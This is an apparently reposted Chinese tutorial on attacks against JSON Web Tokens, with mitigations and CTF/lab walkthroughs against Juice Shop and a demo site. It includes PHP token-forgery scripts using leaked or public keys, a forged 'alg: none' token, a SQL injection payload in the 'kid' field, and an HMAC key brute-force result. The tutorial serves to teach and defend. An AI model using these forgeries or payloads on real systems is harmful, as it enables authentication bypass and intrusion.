热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

深入了解JsonWebToken之实战篇

在上一篇文章中,我介绍了JsonWebToken的相关概念。在这篇文章中,我主要介绍JWT的相关攻击

前言

在上一篇文章中,我介绍了 Json Web Token 的相关概念。在这篇文章中,我主要介绍JWT的相关攻击,并引用了一些CTF题目。

查看上一篇文章:

深入了解Json Web Token之概念篇: http://www.freebuf.com/articles/web/180874.html 。

0×00 环境准备

本来想用python DRF 的 JWT做,后来各种失败。最终尝试了用Php,发现非常便利。

PHP 版本 PHP 7.2.4-1+b2 (cli),也就是kali linux自带的php,至于composer的安装方法,以及各个库的使用方法在此不展开,需要的话可以自己查阅官方文档

php jwt库的评测

在jwt.io上有些php jwt的库,在此说一下使用下来的感觉。只取了评分前三的库:

firebase/php-jwt Star 3786

支持PHP5/7;

操作非常简单,但是不具备很多功能,不是很推荐。

lcobucci/jwt Star Star 2729

支持PHP5/7;

不具备JWE的方法,操作简单;

不具备多重JWS,JWE方法以及其对应序列化方法。

spomky-labs/jose Star 351

仅支持 PHP 7;

功能齐全,具有多重JWE,JWS,以及其对应序列化方法。以上两个都不具备。

0×01 JWT 攻击手段

JWT 的攻击手段包括以下内容:

参考网站: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries// 。

1. 敏感信息泄露

当服务端的秘钥泄密的时候,JWT的伪造就变得非常简单容易。对此,服务端应该妥善保管好私钥,以免被他人窃取。

2. 将加密方式改为’none’

下文实战中的 Juice Shop JWT issue 1 便是这个问题。之前谈及过nonsecure JWT的问题。

签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

解决对策:

不允许出现 none 的方法;

将开启 alg : none 作为一种额外的配置选项。

3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

HS256使用密钥来签名和验证每个消息。而RS256使用私钥对消息进行签名并使用公钥进行认证。

如果将算法从RS256更改为HS256,则后端代码使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此攻击者可以将标头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

此时,后端代码就会使用RSA公钥+HS256算法进行签名验证,从而让验证通过。

解决对策:

不允许 HS256等对称加密 算法读取秘钥。jwtpy就是限制了这种方法。当读取到 类似于 “— xxx key —” 的参数的时候应抛出错误;

将秘钥与验证算法相互匹配。

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,则可以直接强制使用,通过爆破 HS256的秘钥可以完成该操作。难度比较低。解决对策很简单,使用复杂的秘钥即可。

5. 错误的堆叠加密+签名验证假设

错误的堆叠加密

这种攻击发生在单个的或者嵌套的JWE中,我们想象一个JWE如下所示:

JWT RAW

    header : ...

    payload: "admin" : false

             "uid"   : 123

             "umail" : 123@126.com

             ...

JWE Main

    protected / unprotected

    recipients:

        en_key : key1

        en_key : key2

    cipher : xxx

在攻击者不修改秘钥的情况下,对于ciphertext进行修改。往往会导致解密的失败。但是,即使是失败,很多JWT的解密也是会有输出的,在没有附加认证数据(ADD)的情况下更是如此。攻击者对于ciphertext的内容进行修改,可能会让其他的数据无法解密,但是只要最后输出的payload中,有“admin”:true。 其目的就已经达到了。

解决对策:

对于JWE而言,应当解密所有数据,而非从解密的结果中提取单个需要的数据。另外,利用附加认证数据ADD,也是非常好的选择。

签名假设验证

这种攻击发生嵌套的JWS中。我们想象一个嵌套的JWS,其包括了两层的部分,其结构如下:

JWT Main

    JWT Sub1

        payload

        Signature2

    Signature

现在,攻击者通过一定的方式,能够让外层的验证通过的时候,此时,系统还应该检查内层的签名数据,如果不检查,攻击者就可以随意篡改payload的数据,来达到越权的目的。

解决对策:

因此对于嵌套JWS而言,应当验证所有层面的签名是否正确,而非验证最外层的签名是否正确就足够。

6. 无效椭圆曲线攻击

椭圆曲线加密是一种非常安全的方式,甚至从某种程度上而言,比RSA更加安全。关于椭圆曲线的算法,在此不展开。

在椭圆曲线加密中,公钥是椭圆曲线上的一个点,而私钥只是一个位于特殊但非常大的范围内的数字。 如果未验证对这些操作的输入,那攻击者就可以进行设计,从而恢复私钥。

而这种攻击已在过去中得到证实。这类攻击被称为无效曲线攻击。这种攻击比较复杂,也设计到很多的数学知识。详细可以参考文档: critical-vulnerability-uncovered-in-json-encryption 。

解决对策:

检查传递给任何公共函数的所有输入是否有效是解决这类攻击的关键点。验证内容包括公钥是所选曲线的有效椭圆曲线点,以及私钥位于有效值范围内。

7. 替换攻击

在这种攻击中,攻击者需要至少获得两种不同的JWT,然后攻击者可以将令牌中的一个或者两个用在其他的地方。

在JWT中,替换共叽有两种方式,我们称他们为相同接收方攻击(跨越式JWT)和不同接收方攻击。

不同接收方攻击

我们可以设想一个业务逻辑如下:

Auth 机构,有着自己的私钥,并且给 App1 和 App2 发放了两个公钥,用于验证签名;
Attacker 利用自己的秘钥登录了 App1。

此时 Auth 机构给 Attacker 下发了一个 附带签名的JWT,其payload内容为:

{

    'uname':'Attacker'

    'role' :'admin'

}

此时,如果 Attacker 知道 App1 和 App2 的公钥是同一个Auth 签发的话,他可以利用这个JWT去登录 App2,从而获取Admin权限。

解决方法:

在jwt中带上 aud 声明,比如 aud : App1 这样。来限定该jwt只能用于App1。

相同接收方攻击/跨越式JWT same recipient/Cross JWT

我们可以设想一个业务逻辑如下:

在同一站点下,有两个应用程序,wordpress和phpmyadmin,他们都利用了相同的秘钥对和算法来验证JWT签名;

站点管理员知道 Different Recipient 的问题,所以给 wordpress 的应用增加了 aud 验证,但是 phpmyadmin 的用户人数较少,没有增加 aud 的验证;

Attacker 利用自己的秘钥登录了 wordpress。

此时 站点 给 Attacker 下发了一个 附带签名的JWT,其payload内容为:

{

    'uname':'Attacker'

    'role' :'writer'

    'aud' :'shaobaobaoer.cn/wordpress'

    'iss' :'shaobaobaoer.cn'

}

这个JWT看似非常安全,但这仅仅是对于 wordpress 的应用程序而言,。从而Attacker 可以以 writer 的身份登录 phpmyadmin。

解决方案:

为所有子应用程序增加 aud 的验证

8. 其他假想的攻击方式

JWT + SQL 注入

参考链接: https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6 。

当解密JWT的秘钥很多的时候,往往需要通过kid来确定使用哪个秘钥,而keyid参数通过b64加密来保存,可以被篡改。当keyid要通过数据库API拿取得时候,往往就会联想到 sql 注入。

我们可以想象一下的攻击情况:

$keyID = $token-> getKeyID();

$keyCOntent= sqlAPI -> fromKeyidGetKeyContent($keyID)

###

class sqlAPI():

    function fromKeyidGetKeyContent($keyID){

        $result= Query("select key_content from keyTable where key_id = '$keyID'");

        return $result['key_content']

    }

###

if($token-> verify($JWA,$keyContetn)){

    echo $flag;

}

在下列比较简易的代码中,通过让数据库返回值为我们自定义的key_content。就可以达到破解JWT的目的。

通过注入:

' union select 'easy' limit 1,1--+

即可让秘钥改成easy。

0×03 实战练习

实战练习1 敏感信息泄露

我搜到了一个demo,在线演示地址为: http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php 。

GitHub地址为: https://github.com/Sjord/jwtdemo/ 。

使用firebase/jwt写的php-jwt的demo。可以用来完成后面的题目。

为了达到修改jwt的目的,我会把data字段改为:

"data":{

    "hacker":"shaobaobaoer"

    }

该题目地址为: http://demo.sjoerdlangkemper.nl/jwtdemo/rs256 。

在知道github项目的情况下,我们变相知道了公钥私钥的地址,直接访问:

http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem

http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

可以拿到公钥私钥的内容,之后,利用我们自己的jwt库进行加密即可。

关键代码如下所示:

$keychain = new Keychain();

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));

可以看到,我们已经更改成功。

深入了解Json Web Token之实战篇

实战练习2 Juice Shop JWT issue 1

juice shop 是一个OWASP 的 vulnerable WEB 项目,后端语言为node.js。

当初我做的时候连jwt是什么都不知道,两道jwt的题目就此跳过了,现在已经掌握了这些概念,就可以拿出来回味一下。

关于juice shop 的大部分题解可以看 OWASP juice shop 实战报告 。

题目描述

Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.

实战过程

首先,先用万能登录,获取到jwt 如下所示:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs

放到 jwt.io中去解密。可以看到数据的架构如下所示:

深入了解Json Web Token之实战篇

之前我们做过实验,当alg选择为 none 的时候,是不用对JWT进行签名的,这样的jwt也被称为 不安全的jwt。

这道题目的思路就是修改 alg。

当后端不限定alg的时候,这种方法就可以被利用。当然jwt.io是不会让你把alg改成none的。你需要自己手动改:

深入了解Json Web Token之实战篇

对头部稍微操作一下,得到的新token如下:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ

将新的jwt发送,可以解决这个题目:

深入了解Json Web Token之实战篇

后面还有个jwt issue 2 ,我分解不了公钥,按照官方文档的做法也无从下手。做出来的可以交流一二。

实战练习3 加密方式更改

那个网站的后端代码是不能够演示加密方式修改的攻击方法的。那篇博客有些问题。这边就给出个样例。

后端的伪代码应该如下所示:

# sometimes called "decode"

verify(string token, string verificationKey){

    # returns payload if valid token, else throws an error

}

string token = $input

string verificatiOnKey= file_get_content('rsa_pub.key')

后端代码应该会判断jwt的加密方式,其实这种方法是比较局限的。首先对于一个优秀的JWT的库而言,RS256和SH256的认证不会放在一起。另外,HMAC应当禁止公钥作为secret。

例如:在pyjwt中,这种方法是被禁止的。会抛出错误。

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

大概写了个小脚本,利用了公钥来签名,如下所示:

$secret = file_get_contents("./key_box/public.pem");

//var_dump($secret);

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$secret)

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$secret));

实战练习4 HMAC秘钥爆破

参考链接: https://delcoding.github.io/2018/03/jwt-bypass/ 。

在这道题目中,访问web,可以返回一个jwt的字符串:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

将它解密,可以发现,算法是HS256,admin为flase。

{

  "alg": "HS256",

  "typ": "JWT"

}

{

  "admin": "false"

}

我们的目标很简单,只需要将admin转成true就可以了。而此刻能够做的只有爆破秘钥了。你当然可以写一个小脚本来爆破秘钥,这里推荐一个工具 c-jwt cracker 。

通过小工具,我们能迅速跑出秘钥来,我的VPS大概用了2m跑出了秘钥 54l7y

深入了解Json Web Token之实战篇


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 我们


推荐阅读
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • 本文介绍了响应式页面的概念和实现方式,包括针对不同终端制作特定页面和制作一个页面适应不同终端的显示。分析了两种实现方式的优缺点,提出了选择方案的建议。同时,对于响应式页面的需求和背景进行了讨论,解释了为什么需要响应式页面。 ... [详细]
  • 本文介绍了NetCore WebAPI开发的探索过程,包括新建项目、运行接口获取数据、跨平台部署等。同时还提供了客户端访问代码示例,包括Post函数、服务器post地址、api参数等。详细讲解了部署模式选择、框架依赖和独立部署的区别,以及在Windows和Linux平台上的部署方法。 ... [详细]
  • asp中如何嵌入python的简单介绍
    本文目录一览:1、如何在IIS中执行Python脚本 ... [详细]
  • syncd是一款开源的代码部署工具,它具有简单、高效、易用等特点,可以提高团队的工作效率. ... [详细]
  • php composer 安装,phpstudy  composer 使用安装
    本人是windows系统phpstudy是最新2018版本以安装laravel框架为例子一如图一,点击phpComposer出现系统指令框,根据指令框路 ... [详细]
  • Gitlab接入公司内部单点登录的安装和配置教程
    本文介绍了如何将公司内部的Gitlab系统接入单点登录服务,并提供了安装和配置的详细教程。通过使用oauth2协议,将原有的各子系统的独立登录统一迁移至单点登录。文章包括Gitlab的安装环境、版本号、编辑配置文件的步骤,并解决了在迁移过程中可能遇到的问题。 ... [详细]
  • 简述在某个项目中需要分析PHP代码,分离出对应的函数调用(以及源代码对应的位置)。虽然这使用正则也可以实现,但无论从效率还是代码复杂度方面考虑ÿ ... [详细]
  • Ubuntu 用户安装 Linux Kernel 3.15 RC1
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • adfs是什么_培训与开发的概念
    adfs是什么_培训与开发的概念(如您转载本文,必须标明本文作者及出处。如有任何疑问请与我联系me@nap7.com)ADFS相关开发技术的中文资料相对匮乏,之前在弄这个东西的时候 ... [详细]
  • OWASP(安全防护、漏洞验证工具)开放式Web应用程序安全项目(OWASP,OpenWebApplicationSecurityProject)是一个组织 ... [详细]
  • 可空类型可空类型主要用于参数类型声明和函数返回值声明。主要的两种形式如下: ... [详细]
  • 如何调试php网站,如何调试php网站
    常用调试方式通过浏览器打印信息进行调试方法在代码中添加echo、var_dump、print_r和exit,在浏览器中查看输出。优缺点优点:简单 ... [详细]
  • L05 Laravel 教程电商实战
    https:laravel-china.orgcourseslaravel-shophttps:laravel-china.orgtopics13206laravel-shop-c ... [详细]
author-avatar
手机用户2502929415
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有